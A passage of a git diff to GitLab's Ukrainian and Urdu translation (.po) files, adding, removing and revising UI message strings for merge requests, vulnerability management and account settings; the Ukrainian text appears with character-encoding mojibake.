msgstr ""
@@ -38551,9 +39183,15 @@ msgstr "ЩоÑÑŒ пішло не так, не вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ к
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr "ЩоÑÑŒ пішло не так, не вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ Ñтан вразливоÑÑ‚Ñ–."
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr "Підтверджено і вирішено"
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38566,12 +39204,12 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr "Підтверджені"
-msgid "VulnerabilityStatusTypes|Detected"
-msgstr "ВиÑвлені"
-
msgid "VulnerabilityStatusTypes|Dismissed"
msgstr "Відхилені"
+msgid "VulnerabilityStatusTypes|Needs triage"
+msgstr ""
+
msgid "VulnerabilityStatusTypes|Resolved"
msgstr "Вирішені"
@@ -38642,7 +39280,7 @@ msgid "Vulnerability|Namespace"
msgstr "ПроÑÑ‚Ñ–Ñ€ імен"
msgid "Vulnerability|Project"
-msgstr "Проект"
+msgstr "Проєкт"
msgid "Vulnerability|Reproduction Assets"
msgstr ""
@@ -38743,7 +39381,7 @@ msgstr "Ми виÑвили наÑтупні помилки:"
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -39049,6 +39687,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr "Коли runner закріплений (за проєктами), його не можна викориÑтовувати в інших проєктах"
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -39061,7 +39702,7 @@ msgstr "Якщо залишити URL порожнім, можна вÑтаноÐ
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39159,7 +39800,7 @@ msgid "WikiEmpty|Confluence is enabled"
msgstr "Confluence увімкнено"
msgid "WikiEmpty|Create your first page"
-msgstr "Створіть вашу першу Ñторінку"
+msgstr "Створити вашу першу Ñторінку"
msgid "WikiEmpty|Enable the Confluence Wiki integration"
msgstr ""
@@ -39236,6 +39877,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39245,7 +39892,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr "Продовжити редагуваннÑ"
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39359,6 +40006,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39387,7 +40037,7 @@ msgid "Write milestone description..."
msgstr "Створити Ð¾Ð¿Ð¸Ñ ÐµÑ‚Ð°Ð¿Ñƒ..."
msgid "Write your release notes or drag your files here…"
-msgstr "Створіть Ð¾Ð¿Ð¸Ñ Ñ€ÐµÐ»Ñ–Ð·Ñƒ або перетÑгніть файли Ñюди…"
+msgstr "Створити Ð¾Ð¿Ð¸Ñ Ñ€ÐµÐ»Ñ–Ð·Ñƒ або перетÑгніть файли Ñюди…"
msgid "Wrong extern UID provided. Make sure Auth0 is configured correctly."
msgstr "Ðадано неправильний зовнішній UID. Будь лаÑка, налаштуйте Auth0 правильно."
@@ -39632,15 +40282,12 @@ msgstr "Ви можете тепер відправити запит на зли
msgid "You can only %{action} files when you are on a branch"
msgstr ""
+msgid "You can only add up to %{max_contacts} contacts at one time"
+msgstr ""
+
msgid "You can only edit files when you are on a branch"
msgstr "Ви можете редагувати файли, лише перебуваючи у ÑкійÑÑŒ гілці"
-msgid "You can only merge once the items above are resolved."
-msgstr "Ви можете зливати лише коли вищезгадані пункти будуть вирішені."
-
-msgid "You can only merge once this merge request is approved."
-msgstr "Ви можете злити цей запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð»Ð¸ÑˆÐµ коли його буде затверджено."
-
msgid "You can only transfer the project to namespaces you manage."
msgstr "Ви можете переміщувати проєкт тільки в проÑтори імен, Ñкими ви керуєте."
@@ -39674,6 +40321,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr "Ви не можете отримати доÑтуп до неформатованого файлу. Будь лаÑка, зачекайте хвилину."
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr "Ви не можете імітувати заблокованого кориÑтувача"
@@ -39704,12 +40354,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr "Ви не змогли Ñтворити новий тригер."
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr "У Ð²Ð°Ñ Ñ‰Ðµ немає підпиÑок"
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "У Ð²Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” дозволу залишити це %{namespaceType}."
@@ -39761,6 +40417,13 @@ msgstr "У Ð²Ð°Ñ Ð½Ðµ має доÑтупу до Ðналітики ПродуÐ
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "Вам надано %{access_level} доÑтуп до %{source_link} %{source_type}."
@@ -39809,6 +40472,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39944,9 +40610,6 @@ msgstr "Ви будете отримувати Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ñ‚Ñ–Ð»ÑŒ
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -40031,7 +40694,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -40097,6 +40760,12 @@ msgstr "Ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Ð±ÑƒÐ² деактивований Ð
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40289,6 +40958,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "Термін дії вашої підпиÑки закінчивÑÑ!"
@@ -40305,15 +40977,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40323,6 +40989,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40363,7 +41032,7 @@ msgid "[No reason]"
msgstr "[Без причини]"
msgid "[REDACTED]"
-msgstr ""
+msgstr "[REDACTED]"
msgid "[Redacted]"
msgstr "[Redacted]"
@@ -40390,9 +41059,6 @@ msgstr "доÑтуп:"
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr "додано %{created_at_timeago}"
-
msgid "added %{emails}"
msgstr ""
@@ -40490,6 +41156,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40523,9 +41192,6 @@ msgstr "не може бути активовано, Ñкщо не вÑÑ– дом
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr "не може бути змінено"
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40698,6 +41364,9 @@ msgstr "Динамічне теÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÐºÐ¸ заÑтоÑунÐ
msgid "ciReport|Failed to load %{reportName} report"
msgstr "Помилка при завантаженні звіту %{reportName}"
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40707,6 +41376,9 @@ msgstr "Виправлено:"
msgid "ciReport|Found %{issuesWithCount}"
msgstr "Знайдено %{issuesWithCount}"
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr "ДоÑлідити цю вразливіÑÑ‚ÑŒ, Ñтворивши задачу"
@@ -40732,6 +41404,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð·Ð²Ñ–Ñ‚Ñƒ %{reportName}"
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr "ÐšÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð»Ñ–Ñ†ÐµÐ½Ð·Ñ–Ñми"
@@ -40768,6 +41443,9 @@ msgstr "Перевірка безпеки"
msgid "ciReport|Security scanning failed loading any results"
msgstr "Помилка при завантаженні результатів перевірки безпеки"
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr "РішеннÑ"
@@ -40815,7 +41493,7 @@ msgid "ciReport|is loading, errors when loading results"
msgstr ""
msgid "closed"
-msgstr ""
+msgstr "закрито"
msgid "closed issue"
msgstr "закрита задача"
@@ -41148,21 +41826,9 @@ msgstr "процедура імпорту"
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr "в групі"
-
msgid "in group %{link_to_group}"
msgstr "в групі %{link_to_group}"
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr "в проєкті %{link_to_project}"
@@ -41317,9 +41983,6 @@ msgstr "заблоковано %{path_lock_user_name} %{created_at}"
msgid "log in"
msgstr "увійти"
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr "вручну"
@@ -41351,15 +42014,15 @@ msgstr "детальніше"
msgid "most recent deployment"
msgstr "оÑтаннє розгортаннÑ"
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} і %{mergeCommitCount} буде додано до %{targetBranch}."
-
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} буде додано в %{targetBranch}."
-
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 коміт-злиттÑ"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
+msgstr ""
+
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
@@ -41369,6 +42032,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr "Будь лаÑка відновіть Ñ—Ñ— або викориÑтовуйте іншу %{missingBranchName} гілку"
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41387,9 +42053,6 @@ msgstr "ВикориÑÑ‚Ð°Ð½Ð½Ñ %{metricsLinkStart} пам’ÑÑ‚Ñ– %{metricsLi
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr "ВикориÑÑ‚Ð°Ð½Ð½Ñ %{metricsLinkStart} пам’ÑÑ‚Ñ– %{metricsLinkEnd} %{emphasisStart} не змінилоÑÑ %{emphasisEnd} %{memoryFrom}Мб"
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41432,9 +42095,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr "СкаÑувати автоматичне злиттÑ"
@@ -41469,6 +42129,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr "Видалити гілку-джерело"
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr "СтатиÑтика Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð½Ð°Ñ€Ð°Ð·Ñ– недоÑтупна"
@@ -41478,12 +42141,18 @@ msgstr "Ðе закрив"
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr "Email-патчі"
msgid "mrWidget|Failed to load deployment statistics"
msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ ÑтатиÑтику розгортаннÑ"
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41497,7 +42166,7 @@ msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
msgid "mrWidget|Learn more"
-msgstr ""
+msgstr "ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ"
msgid "mrWidget|Loading deployment statistics"
msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ ÑтатиÑтики розгортаннÑ"
@@ -41521,21 +42190,36 @@ msgstr "ЗлиттÑ"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð¿Ñ€Ð¾Ð¹ÑˆÐ»Ð¾ невдало."
msgid "mrWidget|Merge locally"
msgstr "Злити локально"
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr "Злито"
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41548,6 +42232,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41587,9 +42280,6 @@ msgstr "Запит на злиттÑ"
msgid "mrWidget|Resolve conflicts"
msgstr "Вирішити конфлікти"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr "Вирішіть ці конфлікти або звернітьÑÑ Ð´Ð¾ когоÑÑŒ із правом на Ð·Ð°Ð¿Ð¸Ñ Ð´Ð¾ цього репозиторію щоб злити локально"
-
msgid "mrWidget|Revert"
msgstr "Ðнулювати"
@@ -41620,9 +42310,6 @@ msgstr "Зміни були злиті в"
msgid "mrWidget|The changes were not merged into"
msgstr "Зміни не були злиті в"
-msgid "mrWidget|The changes will be merged into"
-msgstr "Зміни будуть злиті в"
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41638,37 +42325,28 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr "Гілка-джерело в процеÑÑ– видаленнÑ"
-msgid "mrWidget|The source branch will be deleted"
-msgstr "Гілку-джерело буде видалено"
-
-msgid "mrWidget|The source branch will not be deleted"
-msgstr "Гілку-джерело не буде видалено"
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "Ñ–Ñнують конфлікти при злитті"
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr "ВідбулаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при автоматичному злитті цього запиту"
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr "Цей проєкт заархівований, доÑтуп до запиÑу було відключено"
-
msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr "Ð”Ð»Ñ Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ запиту на злиттÑ, введіть ваш пароль. Цей проєкт вимагає Ð¿Ñ€Ð¾Ñ…Ð¾Ð´Ð¶ÐµÐ½Ð½Ñ Ð°Ð²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ— Ð´Ð»Ñ Ð²ÑÑ–Ñ… затверджень."
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgstr ""
+
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
+msgid "mrWidget|What is a merge train?"
msgstr ""
msgid "mrWidget|Your password"
@@ -41835,6 +42513,18 @@ msgstr "конвеєр"
msgid "pipeline schedules documentation"
msgstr "Ð”Ð¾ÐºÑƒÐ¼ÐµÐ½Ñ‚Ð°Ñ†Ñ–Ñ Ñ€Ð¾Ð·ÐºÐ»Ð°Ð´Ñ–Ð² Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð²"
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -42021,9 +42711,6 @@ msgstr "увійти"
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr "Ñортувати:"
-
msgid "source"
msgstr "джерело"
@@ -42048,6 +42735,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr "заблоковано"
diff --git a/locale/ur_PK/gitlab.po b/locale/ur_PK/gitlab.po
index 5949f4d3c63..d90a7070de2 100644
--- a/locale/ur_PK/gitlab.po
+++ b/locale/ur_PK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ur-PK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
